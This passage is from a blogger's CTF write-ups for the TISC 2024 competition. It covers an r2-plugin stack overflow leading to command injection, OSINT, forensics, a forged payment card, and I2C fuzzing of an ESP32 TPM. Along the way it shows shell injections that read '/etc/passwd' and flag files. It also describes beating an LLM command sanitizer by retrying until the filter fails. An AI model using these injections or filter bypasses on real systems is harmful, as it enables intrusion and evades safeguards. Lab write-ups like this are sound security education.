subprocess.run(["r2 -q -c imp -e bin.relocs.apply=true file.exe"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True)
if os.path.isfile("out"):
with open("./out", "r") as f:
print("Import hash:", f.read(), flush=True)
else:
print("Error generating imphash!", flush=True)
os.chdir("/app")
os.system("rm -rf "+dirname)
The challenge service saves the user’s input to a temporary file and uses it as the target of a radare2
(r2
) command imp
. It then reads an out-file and prints the import hash. This looks like an r2 plugin challenge where we need to exploit a vulnerable plugin. Let’s open the custom plugin libcoreimp.so
for further analysis.
Looking at the r2 plugin documentation, we find that plugins generally define a struct with the plugin’s name, description, license and callback functions. We can find such a struct
r_core_plugin_imp
referencingr_cmd_imp_client
in the.data
segment. Less conscientiously,r_cmd_imp_client
is the only non-standard function in the disassembly so we know this must be our target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall r_cmd_imp_client(__int64 ctx, const char *cmd)
{
char v10[96];
char s_0x110[16];
char core_cmd[37];
char core_cmd_cont[8];
char buf_0x1000[4110];
__int64 ctx_ = ctx;
if ( !r_str_startswith_inline(cmd, "imp") )
return 0LL;
__int16 pos = 0;
memset(buf_0x1000, 0, 0x1000uLL);
memset(s_0x110, 0, 0x110uLL);
strcpy(core_cmd, "echo ");
strcpy(core_cmd_cont, " > out");
__int64 s_file_info_json = r_core_cmd_str(ctx_, "iIj");
void *j_file_info = (void *)cJSON_Parse(s_file_info_json);
void *j_bintype = cJSON_GetObjectItemCaseSensitive(j_file_info, "bintype");
[...]
The function first uses r_str_startswith_inline()
to check whether the r2 command starts with "imp"
. These functions with an r_
prefix all belong to the r2 library, which is open sourced on Github. The target function also calls r_core_cmd_str
, which based on inline source comments, runs a r2 command and returns a buffer containing its output. In this case, the target function is running the iIj
r2 command and its result is stored in s_file_info_json
. For the uninitiated, r2 favours brevity and composition in its commands – iIj
can be broken down into iI
, denoting file information, and j
, denoting formatting the output as JSON. The target function also makes heavy use of cJSON, a lightweight JSON parser library, to interpret the outputs of the r2 commands. Here, cJSON_Parse()
parses a JSON string into the cJSON *
type, which is represented with void *
in the decompilation. This object can be used with other cJSON methods, such as cJSON_GetObjectItemCaseSensitive()
, which extracts the value corresponding to a given key.
I suspected that this may be an n-day challenge for either the r2 library or the cJSON library but it turns out the solution is much simpler.
Next, the target function checks whether the input file is a "pe"
(the Portable Execution format used by Windows executables and DLLs) based on the output of the iIj
analysis. If it is not, the function exits with an error.
1
2
3
4
5
6
7
8
if ( strncmp(*((const char **)j_bintype + 4), "pe", 2uLL) )
{
puts("File is not PE file!");
return 1LL;
}
else
{
[...]
The next section contains the main logic of the function. It runs two commands: aa
, or analyze all public symbols, and iiJ
, or print import information in JSON format. It then iterates over each import in a for loop. In the context of a PE file, these imports typically correspond to external libraries, such as Windows system DLLs, from which the program imports functions. It also checks that each library name ends with a valid extension.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[...]
void *s_all_analysis = (void *)r_core_cmd_str(ctx_, "aa");
free(s_all_analysis);
__int64 s_imports_json = r_core_cmd_str(ctx_, "iij");
__int64 j_imports = cJSON_Parse(s_imports_json);
void *node = 0LL;
void *curr = 0LL;
if ( j_imports )
curr = *(void **)(j_imports + 16); // ->child
for ( node = curr; node; node = *(void **)node )// ->next
{
void *j_libname = cJSON_GetObjectItemCaseSensitive(node, "libname");
void *j_name = cJSON_GetObjectItemCaseSensitive(node, "name");
if ( j_libname && j_name )
{
char *S_LIBNAME = (char *)*((_QWORD *)j_libname + 4);
char *S_NAME = (char *)*((_QWORD *)j_name + 4);
char *v20 = strpbrk(S_LIBNAME, ".dll");
if ( !v20 || v20 == S_LIBNAME )
{
char *v19 = strpbrk(S_LIBNAME, ".ocx");
if ( !v19 || v19 == S_LIBNAME )
{
char *v18 = strpbrk(S_LIBNAME, ".sys");
if ( !v18 || v18 == S_LIBNAME )
{
puts("Invalid library name! Must end in .dll, .ocx or .sys!");
return 1LL;
}
}
}
int len_libname_noext = strlen(S_LIBNAME) - 4;
int len_name = strlen(S_NAME);
if ( 4094LL - pos < (unsigned __int64)(len_libname_noext + len_name) )
{
puts("Imports too long!");
return 1LL;
}
for ( int i = 0; i < len_libname_noext; ++i )
buf_0x1000[pos + i] = tolower(S_LIBNAME[i]);
pos += len_libname_noext;
buf_0x1000[pos++] = '.';
for ( int j = 0; j < len_name; ++j )
buf_0x1000[pos + j] = tolower(S_NAME[j]);
pos += len_name;
buf_0x1000[pos++] = ',';
}
}
[...]
After checking the validity of the library name, the function appends the library name and the imported function name to a buffer buf_0x1000
. For example, if the library name was KERNEL32.dll
and the function was CreateFileA
, kernel32.createfilea,
would be appended to the buffer.
The final section of the target function calculates the import hash after the completion of the prior for loop. It calculates the MD5 hash of the buffer buf_0x1000
and writes its hex representation into core_cmd
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[...]
MD5_Init(v10);
size_t v8 = strlen(buf_0x1000);
MD5_Update(v10, buf_0x1000, v8 - 1);
MD5_Final(s_0x110, v10);
const char *v25 = "0123456789abcdef";
for ( int k = 0; k <= 15; ++k )
{
core_cmd[2 * k + 5] = v25[(s_0x110[k] >> 4) & 0xF];
core_cmd[2 * k + 6] = v25[s_0x110[k] & 0xF];
}
void *v9 = (void *)r_core_cmd_str(ctx_, core_cmd);
free(v9);
return 1LL;
}
}
At the start of the target function, it performed:
1
2
strcpy(core_cmd, "echo ");
strcpy(core_cmd_cont, " > out");
This results in a core_cmd
resembling echo 912ec803b2ce49e4a541068d495ab570 > out
, which is then executed as a r2 command by r_core_cmd_str()
. This also explains why the challenge service eventually reads the import hash from the file out
.
Auditing the code reveals two vulnerabilities in the target function. The first vulnerability lies in the way it checks for the the library name. It checks that the library name has a valid extension in the following way:
1
2
3
4
5
6
char *v20 = strpbrk(S_LIBNAME, ".dll");
if ( !v20 || v20 == S_LIBNAME )
{
// the library name does NOT end with that extension
[...]
}
However, the check is poorly written and can be bypassed. strpbrk()
returns a pointer to the first byte in the input string that matches one of the supplied bytes. With S_LIBNAME = "abc.de"
, strpbrk()
locates returns S_LIBNAME+3
since that is the first occurrence of '.'
. This fails the if condition, passing the check. Subsequently, the length of the library name is calculated as strlen(S_LIBNAME) - 4
. By supplying S_LIBNAME = "a."
, the check passes and the length is calculated to be -2
.
We can easily modify a PE file’s imports. I will explain the method after discussing the vulnerabilities.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int len_libname_noext = strlen(S_LIBNAME) - 4;
int len_name = strlen(S_NAME);
if ( 4094LL - pos < (unsigned __int64)(len_libname_noext + len_name) )
{
puts("Imports too long!");
return 1LL;
}
for ( int i = 0; i < len_libname_noext; ++i )
buf_0x1000[pos + i] = tolower(S_LIBNAME[i]);
pos += len_libname_noext;
buf_0x1000[pos++] = '.';
for ( int j = 0; j < len_name; ++j )
buf_0x1000[pos + j] = tolower(S_NAME[j]);
pos += len_name;
buf_0x1000[pos++] = ',';
This can result in decrementing pos
, which could lead to an OOB access.
The second vulnerability lies in the maximum import length check. If we have a library name and a symbol name that satisfy 4094 - pos == len_libname_noext + len_name
, we hit an edge case where we pass the check but end up incrementing pos
OOB. For example, if pos = 4084
, S_LIBNAME = "kernel.dll"
and S_NAME = "test"
, we satisfy the aforementioned equality. "kernel"
is written from indices 4084-4089, '.'
is written to index 4090, "test"
is written from indices 4091 to 4094, and ','
is written at index 4095. At the end, pos = 4096
. On the next iteration of the loop, the left hand side of the comparison is now 4094LL - 4096
, which underflows to a large unsigned value since the comparison implicitly promotes the operands to unsigned long
. This will easily pass the check, allowing for an OOB write on the buffer of size 4096.
This is a powerful vulnerability, allowing for an arbitrary stack overflow. However, we are rather limited in what we can do since the challenge service cannot offer any leaks other than reading the out
file. Furthermore, the stack layout is contains critical pointers that must be preserved.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char v10[96]; // [rsp+10h] [rbp-1210h] BYREF
char s_0x110[16]; // [rsp+70h] [rbp-11B0h] BYREF
char core_cmd[37]; // [rsp+80h] [rbp-11A0h] BYREF
char core_cmd_cont[8]; // [rsp+A5h] [rbp-117Bh] BYREF
__int16 pos; // [rsp+180h] [rbp-10A0h]
char buf_0x1000[4110]; // [rsp+182h] [rbp-109Eh] BYREF
int len_name; // [rsp+1190h] [rbp-90h]
int len_libname_noext; // [rsp+1194h] [rbp-8Ch]
char *v18; // [rsp+1198h] [rbp-88h]
char *v19; // [rsp+11A0h] [rbp-80h]
char *v20; // [rsp+11A8h] [rbp-78h]
char *S_NAME; // [rsp+11B0h] [rbp-70h]
char *S_LIBNAME; // [rsp+11B8h] [rbp-68h]
char *j_name; // [rsp+11C0h] [rbp-60h]
char *j_libname; // [rsp+11C8h] [rbp-58h]
const char *v25; // [rsp+11D0h] [rbp-50h]
__int64 j_imports; // [rsp+11D8h] [rbp-48h]
__int64 s_imports_json; // [rsp+11E0h] [rbp-40h]
void *j_bintype; // [rsp+11E8h] [rbp-38h]
void *j_file_info; // [rsp+11F0h] [rbp-30h]
__int64 s_file_info_json; // [rsp+11F8h] [rbp-28h]
__int64 ctx_; // [rsp+1200h] [rbp-20h]
int k; // [rsp+120Ch] [rbp-14h]
int j; // [rsp+1210h] [rbp-10h]
int i; // [rsp+1214h] [rbp-Ch]
void *node; // [rsp+1218h] [rbp-8h]
Critically, the stack overflow will overwrite ctx_
and node
before reaching the saved base pointer and instruction pointer. Since the for loop iterates over a linked list represented by node
, overwriting it without a leak will simply crash the program. Thus, it seems like this second vulnerability is unexploitable.
Returning to the first vulnerability, we notice that if the first library name is malformed, we can decrement pos
to -2
, which places the buffer pointer (buf_0x1000[-2]
) directly over the pos
variable (refer to the stack layout above). This allows us to write into the pos
variable, giving us control of where subsequent writes go. One caveat is that after decrementing pos
, the character '.'
will be written to the buffer pointer so we do not have full control of pos
. Instead, this will overwrite the LSB of pos
, giving pos = 0xff2e
or -0xd2
.
Next, it is key to identify our exploit target. Given that we do not have leaks or the ability to send a payload in a second round (as per typical ROP exploits), we know that the exploit must be a static one-cycle. This limits the possible attack surface to either returning to a one-gadget (or similar) or overwriting stack variables. Looking at the stack variables, we can spot that overwriting the core_cmd
stack buffer will effectively grant an RCE. We simply need to perform a command injection that reads the flag file into the file out
and the challenge service will print the flag for us. We can use the following r2 command cat /app/flag.txt > out
to achieve this.
With our OOB stack write, we can write to buf_0x1000[-0xd2]
, or [rsp+0xb0]
, which is just shy of the core_cmd
buffer which ends at [rsp+0xac]
. The initial strcpy
also ensures that core_cmd
is null-terminated, preventing any string overrun attacks. So, we need to use the OOB stack write to overwrite the LSB of pos
again, such that it is even smaller. This will give us a larger OOB, landing in core_cmd
. For instance, if we overwrite the LSB of pos
with 0x20
, the buffer pointer now points to [rsp+0xa2]
, well within core_cmd
, allowing us to perform our command injection.
One point we haven’t discussed is how we can craft PE files as required. According to the PE format, the imports are stored plaintext in table within the file.
I used a sample DLL from PeNet’s examples as a base file. Then, I used Ghidra to patch the DLL so that the first library name that shows up in iij
is "a."
. This triggers the pos
LSB overwrite with '.'
, pushing the buffer pointer backwards. I also renamed the rest of the imports to shorter names so that it would not overrun past pos
. The last two imports have special purposes. The first import fills up the remaining buffer until just before pos
. The second import overwrites the LSB of pos
with 0x20
, pushing the buffer pointer backwards and landing it in core_cmd
. The remaining part of the second import is the command injection.
Although we can overwrite the LSB of
pos
with the first import, since the import would have already covered some of the buffer, the value ofi
would be large, such thatbuf_0x1000[pos + i]
would lie aftercore_cmd
.
Sending our forged PE file to the remote server gives us the flag: TISC{pwn1n6_w17h_w1nd0w5_p3}
While this challenge has a foreign environment (r2 plugin land), the challenge service’s limited attack surface helpfully guides the player into looking for specific attack techniques.
Over the past week or so, I have been playing TISC, CSIT’s annual CTF. I managed to solve all 12 challenges in 11 days, coming in 1st.
TISC is an individual CTF hosted by CSIT that is open to all Singaporeans. The challenges roughly get progressively more difficult. You must solve each level to unlock the next challenge.
Nominative determinism at play?
Here are my write-ups for the challenges. The write-ups are split across 3 posts since they otherwise would be too long. The first post (this!) covers levels 1-5, the second post covers levels 6-9, and the final post covers levels 10-12. Since the challenges remain untagged on the competition platform, the following tags are my own.
The first level of TISC is an OSINT/Misc challenge. The challenge description gives us the fictitious target’s online username:
1
Recent breakthroughs have unveiled **Vivoxanderith's online persona: vi_vox223**.
As per standard procedure, we use Sherlock to enumerate social media accounts with that username. While Sherlock returns a few entries, all are false positives except for the target’s Instagram account. Viewing their stories, we see a story referencing a Discord bot with ID: 1258440262951370813
and another story mentioning users with the "D0PP3L64N63R" role
unlocking hidden bot features. This is clearly hinting at adding the bot to a server and interacting with it while having the specific role. We can use the Discord Permission Calculator (throwback to TISC’23 Level 5) to generate a URL to authorize the bot to join a server with specific permissions.
Interacting with the bot. The first
!help
command is before adding the custom role to myself.
Using the !list
and !download
bot commands, we retrieve a .eml email file. Viewing this in Outlook, we see the message:
1
2
3
4
5
6
7
8
9
I trust this message reaches you securely. I am writing to provide an update on my current location. I am currently positioned close to the midpoint of the following IDs:
- 8c1e806a3ca19ff
- 8c1e806a3c125ff
- 8c1e806a3ca1bff
My location is pinpointed with precision using Uber's cutting-edge geospatial technology, which employs shape-based location triangulation and partitions areas of the Earth into identifiable cells.
To initiate secure communication with me, please adhere to the discreet method we've established. Transmit the identified location's name through the secure communication channel accessible at https://www.linkedin.com/company/the-book-lighthouse
A quick google search reveals that the “Uber’s cutting-edge geospatial technology” is referencing Uber H3. Putting in the three IDs reveals the target’s location. I had to use Google Maps together with the street name to obtain the location name “Quercia secolare”.
The last step is finding the “secure communication channel”. In the provided LinkedIn profile, we find a post referencing a Telegram bot @TBL_DictioNaryBot
. Sending the location name to the Telegram bot gives us our first flag: TISC{OS1N7_Cyb3r_InV35t1g4t0r_uAhf3n}
We are given the following challenge description:
1
2
3
4
5
6
Beyond Discord and Uber H3, seems like our enemies are super excited about AI and using it for image transformation. Your fellow agents have managed to gain access to their image transformation app. Is there anyyy chance we could find some vulnerabilities to identify the secrets they are hiding?
Any one of the following instances will work:
http://chals.tisc24.ctf.sg:36183/
http://chals.tisc24.ctf.sg:45018/
http://chals.tisc24.ctf.sg:51817/
Visiting the site, we are greeted with the following form.
We can upload a file and specify transformation instructions. After clicking Transform
, we are presented with the transformed image and a hash.txt
. Helpfully, this file tells us the command that was run in the backend. For example, when uploading tiny.jpg
with no instructions, hash.txt
reads: gm convert /tmp/96c17439d8c548b68d29026f1294edf0_tiny.jpg /tmp/96c17439d8c548b68d29026f1294edf0_tiny.jpg_output.png
.
Playing around with the service, we quickly realize that there is a command injection vulnerability in the instructions parameter. I used this instruction to read /etc/passwd
: convert image.png -set comment "$(cat /etc/passwd)" output.png
. The contents of /etc/passwd
end up in the comment field of the transformed image’s EXIF data. Interestingly, I realized that sending the same input, I sporadically got an error from the backend…
Our next step is to read the flag. After enumerating the directory contents, we realize that the flag is stored in /app/flag
. However, viewing hash.txt
, we find that command injection attempts with some variant of /app/flag
were sanitized: gm convert /tmp/ad1c3c48f214419a9089a615298cd0b9_tiny.jpg -set comment "$(cat /app/hash_***.txt)" /tmp/ad1c3c48f214419a9089a615298cd0b9_tiny.jpg_output.png
.
From the challenge title (referencing LLMs), description and the sporadic behaviour of the backend, I surmised that there was a LLM acting as a sanitizer before the command was executed. Given that LLMs don’t always return the same result for the same prompt (explaining the sporadic behaviour), it is pretty easy to bypass them. My attack strategy was to use a not-so-sus injection like cat /app/f*
and run it until the LLM randomly fails to block it.
We can retrieve the flag from the transformed file’s EXIF data: TISC{h3re_1$_y0uR_pr0c3s5eD_im4g3_&m0Re}
At the start of the competition, this challenge only had a single instance. As the influx of competitors tried to access the instance, there was huge amounts of lag with the service. That was why I used a small image file
tiny.jpg
. In the end, the organizers added two other instances, alleviating the load.
1
A disc image file was recovered from them! We have heard that they have a history of hiding sensitive data through file hosting sites...
We are provided with a Windows logical image file csitfanUPDATED0509.ad1
. Opening the file in FTK Imager (the go-to tool for ad1
file analysis), we find that this is a Windows XP image. Exploring the file system, we see mypal
in the csitfan1
user’s desktop. Mypal is a third-party browser for Windows XP. Given that it is in the user’s desktop, it is safe to assume that it is relevant to the challenge.
As is the theme with many forensics challenges, we continue by analyzing the user’s browser data. After a bit of digging, we find the user’s browser history in Documents and Settings/csitfan1/Local Settings/Application Data/Mypal68/Profiles/*/cache2/entries
.
Extracting the folder for further analysis, we see that it contains many files. Some are images but many are of an unknown format. A good portion contain URLs. I wrote a Python script to parse the files and extract all the URLs with a regex.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
from urllib.parse import urlparse
import re
def extract_urls(text):
urls = re.findall(r'(?P<url>https?://[^\s]+)', text)
return urls
def domain(x):
return urlparse(x).netloc
urls = []
for entry in os.scandir("entries"):
print(entry.path)
with open(entry.path, "rb") as f:
data = f.read()
urls.extend(extract_urls(str(data)))
# print(urls) # really long!
domains = set([domain(url) for url in urls])
print(domains) # manageable
Since there were many URLs, I decided to look through the set of domains first. I noticed csitfan-chall.s3.amazonaws.com
. Looking for the URLs with this domain, I found https://csitfan-chall.s3.amazonaws.com/flag.sus
. This file contains the text: VElTQ3t0cnUzXzFudDNybjN0X2gxc3QwcjEzXzg0NDU2MzJwcTc4ZGZuM3N9
. Decoding this base64 string gives us the flag: TISC{tru3_1nt3rn3t_h1st0r13_8445632pq78dfn3s}
1
2
3
Your task is to find a way to join this exclusive member tier within AlligatorPay and give us intel on future cyberattacks. AlligatorPay recently launched an online balance checker for their payment cards.
https://agpay.chals.tisc24.ctf.sg/
Visiting the URL, we are presented with a form to upload a card.
Upon uploading our card, the card at the bottom of the screen is updated with our details, including our balance. Looking at the page source, we find two interesting comments.
1
2
3
<!-- banner advertisement for AGPay Exclusive Club promo for customers with exactly $313371337 balance -->
...
<!-- Dev note: test card for agpay integration can be found at /testcard.agpay -->
It looks like our goal is to upload a card with a balance of $313371337. Uploading the test card, we see that it has a balance of $12345678.
Looking at the page source, we realize that there is a client-side implementation of the card checking logic. The JavaScript function parseFile()
parses our input file and extracts the card details (including balance) while performing a series of checks. If the card is legitimate, it sends a POST request to the backend server with the card data. The backend likely uses similar checks as the client logic. So, we need to reverse the client logic and forge a card with the required balance.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
async function parseFile() {
// [omitted] get file from form input
const arrayBuffer = await file.arrayBuffer();
const dataView = new DataView(arrayBuffer);
// [1] Header check
const signature = getString(dataView, 0, 5);
if (signature !== "AGPAY") {
alert("Invalid Card");
return;
}
const version = getString(dataView, 5, 2);
const encryptionKey = new Uint8Array(arrayBuffer.slice(7, 39));
const reserved = new Uint8Array(arrayBuffer.slice(39, 49));
// [2] Footer check
const footerSignature = getString(dataView, arrayBuffer.byteLength - 22, 6);
if (footerSignature !== "ENDAGP") {
alert("Invalid Card");
return;
}
const checksum = new Uint8Array(
arrayBuffer.slice(arrayBuffer.byteLength - 16, arrayBuffer.byteLength)
);
const iv = new Uint8Array(arrayBuffer.slice(49, 65));
const encryptedData = new Uint8Array(
arrayBuffer.slice(65, arrayBuffer.byteLength - 22)
);
// [3] Checksum check
const calculatedChecksum = hexToBytes(
SparkMD5.ArrayBuffer.hash(new Uint8Array([...iv, ...encryptedData]))
);
if (!arrayEquals(calculatedChecksum, checksum)) {
alert("Invalid Card");
return;
}
const decryptedData = await decryptData(encryptedData, encryptionKey, iv);
const cardNumber = getString(decryptedData, 0, 16);
const cardExpiryDate = decryptedData.getUint32(20, false);
const balance = decryptedData.getBigUint64(24, false);
// [omitted] updates frontend with the parsed values
if (balance == 313371337) {
// [omitted] sends POST request to backend endpoint with cardData
}
}
This reveals the card structure:
1
2
3
4
5
6
7
8
9
Start End Description
0 5 AGPAY (header)
5 7 version (unused)
7 39 encryptionKey
39 49 reserved (unused)
49 65 iv
65 -22 encryptedData
-22 -16 ENDAGP (footer)
-16 -0 checksum
There are three main checks of the card structure. Firstly, the first 5 bytes must be “AGPAY”. Secondly, the 6 bytes starting from index -22 (the 22nd character from the end) must be “ENDAGP”. These two checks are easy to pass. The last check is the most important one. It checks that checksum == md5(iv || encryptedData)
, where ||
is concatenation. Critically, encryptedData
contains the encrypted version of our payload (card number, expiry date and balance). The payload is decrypted with AES-CBC using iv
(I omitted the decryptData()
function body from the above snippet).
To forge a card with a specific balance, we just need to pass these checks in reverse order. We first define an iv
and encrypt our desired payload (with the required balance). Then, we calculate the checksum. Finally, we append the headers and footers. Supplying a card with a balance of $313371337 gives us the flag: TISC{533_Y4_L4T3R_4LL1G4T0R_a8515a1f7004dbf7d5f704b7305cdc5d}
.
The site’s soundtrack (volume warning) has no reason being this good.
This is the first of two hardware-related challenges in the CTF. The challenge description reads:
1
2
3
4
5
6
7
8
9
10
11
12
13
Shucks... it seems like our enemies are making their own silicon chips??!? They have decided to make their own source of trust, a TPM (Trusted Platform Module) or I guess their best attempt at it.
Your fellow agent smuggled one out for us to reverse engineer. Don't ask us how we did it, we just did it, it was hard ...
All we know so far is that their TPM connects to other devices using the i2c bus and does some security stuff inside. Agent! Your mission, should you choose to accept it, is to get us unparalleled intel by finding their TPM's weakness and exfiltrating its secrets.
You will be provided with the following compressed flash dump:
- MD5 (flash_dump.bin.xz) = fdff2dbda38f694111ad744061ca2f8a
Flash was dumped from the device using the command:
esptool.py -p /dev/REDACTED -b 921600 read_flash 0 0x400000 flash_dump.bin
You can perform your attack on a live TPM module via the i2c implant device hosted behind enemy lines: nc chals.tisc24.ctf.sg 61622
In this challenge, we are given a fake custom TPM’s flash dump (you don’t need to know what a TPM is; I personally didn’t see the link even after reversing). We are also told that we can interact with a live challenge instance via I2C to obtain the flag. At this stage, I had never used I2C before so I connected to remote to see what to expect.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# nc chals.tisc24.ctf.sg 61622
TISC 2024 :: I2C IMPLANT
Available commands:
- SEND <bytes> - Sends hex encoded bytes to I2C bus
- RECV <num_bytes> - Receive num_bytes from I2C bus
- EXIT - Exit the program
Example:
> SEND 12 34 - Sends 0x12, 0x34 to I2C bus, which will be received by the device at addr 0x09 as a WRITE request and payload 0x34
> RECV 4 - Attempts to receive 4 bytes from the I2C bus, if no slave device sends data, it will return 0s
Read More: https://en.wikipedia.org/wiki/I%C2%B2C#Reference_design
>
The remote server exposes a nice interface that allows us to communicate with the I2C bus with SEND
and RECV
commands. Doing some quick testing, I found that the RECV
command seemed to always return null bytes.
1
2
3
4
> SEND 12 34
> RECV 4
00 00 00 00
>
Initially, I spent some time rev-ing the provided file but was making slow progress. I decided to play around with the remote server to try and better understand the system. We’ll take a look at the actual reversing in a bit.
Reading up on I2C, I found that it was a communication protocol common in embedded systems. In this case, the reference design allows master nodes to communicate with slave nodes. From the remote’s message, I guessed that the first byte after SEND
was some sort of device identifier, with the actual payload being the remaining bytes. Playing around with the system, I realized that the SEND
command accepted a maximum of 32 bytes.
1
2
3
> SEND 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12
> SEND 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12
Error: Too many bytes
At this point, my goal was to better understand the system (and SEND
command structure). The obvious target was to be able to RECV
some non-null data. With such a limited input size on only 32 bytes per SEND
command, I realized that the input space was easily fuzz-able. I wrote a short Python script to fuzz the system, which quickly produced findings.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
p = remote("chals.tisc24.ctf.sg", 61622)
def send(i):
print(i)
p.sendlineafter(b"> ", b"SEND " + i.encode("ascii"))
def recv(i):
p.sendlineafter(b"> ", b"RECV " + str(i).encode("ascii"))
res = p.recvline()
for v in res.strip().split(b" "):
if v != b'00':
print(res)
assert False
p.recvuntil(b"Read More:")
import random
for _ in range(100000):
num_selections = random.randint(1, 25)
random_selection = random.choices([f"{i:02x}" for i in range(256)], k=num_selections)
payload = " ".join(random_selection)
send(payload)
recv(0x20)
p.interactive()
After 1827 inputs, I managed to get a response. We can pinpoint the offending inputs by bisecting the initial inputs. This narrowed it down to:
1
2
3
4
> SEND d2 46 7c d5 55 7c 74 8e
> SEND d3 8d 5b b8 d9 ec 6e 8c ab 7d 41 40
> RECV 20
42 52 59 58 63 6f 72 70 5f 43 72 61 70 54 50 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
I then produced a minimal reproduction with:
1
2
3
4
> SEND d2 46
> SEND d3
> RECV 20
d8 e3 e0 5c 80 74 05 5f 95 9f 0d 74 41 af 89 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Great! We’ll revisit these findings subsequently. For now, that’s enough blackboxing. Let’s begin actually reversing the provided file.
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ lvl5 file dump
dump: data
➜ lvl5 binwalk dump
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
66009 0x101D9 Unix path: /home/jiefeng/.arduino15/packages/esp32/hardware/esp32/2.0.14/tools/sdk/esp32/include/hal/esp32/include/hal/i2c_ll.h
103748 0x19544 SHA256 hash constants, little endian
1118860 0x11128C Unix path: /dev/uart/0
1140460 0x1166EC AES Inverse S-Box
1157124 0x11A804 Unix path: /home/fzb/share/proj_smartconfig/SSC/components/smartconfig/./sc_sniffer.c
1175056 0x11EE10 SHA256 hash constants, little endian
...
Clearly, this is an Arduino ESP32 firmware dump. We can analyze the image using Tenable’s esp32_image_parser tool and extract the app0
partition (where the interesting code logic likely lives) as an ELF.
1
2
3
4
➜ lvl5 python3 esp32_image_parser.py create_elf -partition app0 -output app0 ../dump
Dumping partition 'app0' to app0_out.bin
Writing ELF to app0...
I ran into many weird issues trying to get esp32_image_parser to work. This patch on Github was what worked in the end.
Analyzing the binary in Ghidra, we find i2c_recv
, which presumably contains the logic that handled our SEND
payloads from earlier. At a high level, it defines the logic for handling three different commands. Here is the cleaned up decompilation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void i2c_recv(uint num_bytes)
{
uint command;
int in_WindowStart;
undefined auStack_30[12];
unsigned char flag_char;
memw();
memw();
uint uStack_24 = _DAT_3ffc20ec;
does_print(0x3ffc1ecc, s_i2c_recv_ % d_byte(s): _3f400163, num_bytes);
int iVar1 = (uint)(in_WindowStart == 0) * (int) auStack_30;
int iVar2 = (uint)(in_WindowStart != 0) * (int)(auStack_30 + -(num_bytes + 0xf & 0xfffffff0));
set_buf(0x3ffc1cdc, iVar1 + iVar2, num_bytes);
does_printfs(iVar1 + iVar2, num_bytes);
if (0 < (int) num_bytes) {
command = (uint) * (byte * )(iVar1 + iVar2);
if (command != 0x52) goto LAB_400d1689;
memw();
uRam3ffc1c80 = 0;
}
while (true) {
command = uStack_24;
num_bytes = _DAT_3ffc20ec;
memw();
memw();
if (uStack_24 == _DAT_3ffc20ec) break;
func_0x40082818();
LAB_400d1689:
if (command == 0x46) {
int i = 0;
do {
memw();
flag_char = ( & flag_start)[i];
unsigned char key = transform_key();
memw();
*(byte * )(i + 0x3ffc1c80) = flag_char ^ key;
i = i + 1;
} while (i != 0x10);
}
else if (command == 0x4d) {
memw();
uRam3ffc1c80 = DAT_3ffbdb7a;
memw();
} else if ((num_bytes != 1) && (command == 0x43)) {
memw();
flag_char = * (byte * )( * (byte * )(iVar1 + iVar2 + 1) + 0x3ffbdb09);
key = transform_key();
memw();
( & DAT_3ffc1c1f)[ * (byte * )(iVar1 + iVar2 + 1)] = flag_char ^ key;
}
}
return;
}
The interesting behaviour happens when command == 0x46
. The program encrypts the flag (a fake flag is given in the provided firmware) byte by byte. It iterates over 0x10 bytes of the flag, XOR-ing each byte with a key
value, which is obtained from transform_key()
.
1
2
3
4
5
6
7
ushort transform_key(void)
{
ushort uVar1 = key_val << 7 ^ key_val;
uVar1 = uVar1 >> 9 ^ uVar1;
key_val = uVar1 << 8 ^ uVar1;
return key_val;
}
key_val
is a two-byte global variable, which gets manipulated in transform_key()
, ensuring that each byte of the flag is XOR-ed with a different value. However, the key
in each iteration is entirely dependent on the previous key
.
Revisiting the fuzzer’s finding earlier, we begin to make sense of it.
1
2
3
4
5
6
7
8
9
// d2 is probably some device ID, and 46 is the command to encrypt the flag
> SEND d2 46
// this probably flushes the encrypted flag to an output stream
> SEND d3
// we receive the 0x10 encrypted flag bytes
> RECV 20
d8 e3 e0 5c 80 74 05 5f 95 9f 0d 74 41 af 89 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
So, we can obtain (what seems to be) the encrypted flag. You can play around with the other two commands to verify this. Since the real flag starts with TISC{
, we can retrieve the initial key by brute-forcing until we find a sequence of keys that XOR with TISC{
to produce the encrypted flag’s first 5 bytes. The brute-force is feasible since the search space is only 2 bytes. Instead of brute-forcing, I opted to use z3
to solve the equations instead. Here is the script I used to retrieve the initial key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p = remote("chals.tisc24.ctf.sg", 61622)
def send(i):
p.sendlineafter(b"> ", b"SEND " + i.encode("ascii"))
def recv(i):
p.sendlineafter(b"> ", b"RECV " + str(i).encode("ascii"))
res = p.recvline()
return res.strip().split(b" ")
p.recvuntil(b"Read More:")
send("d2 46")
send("d3")
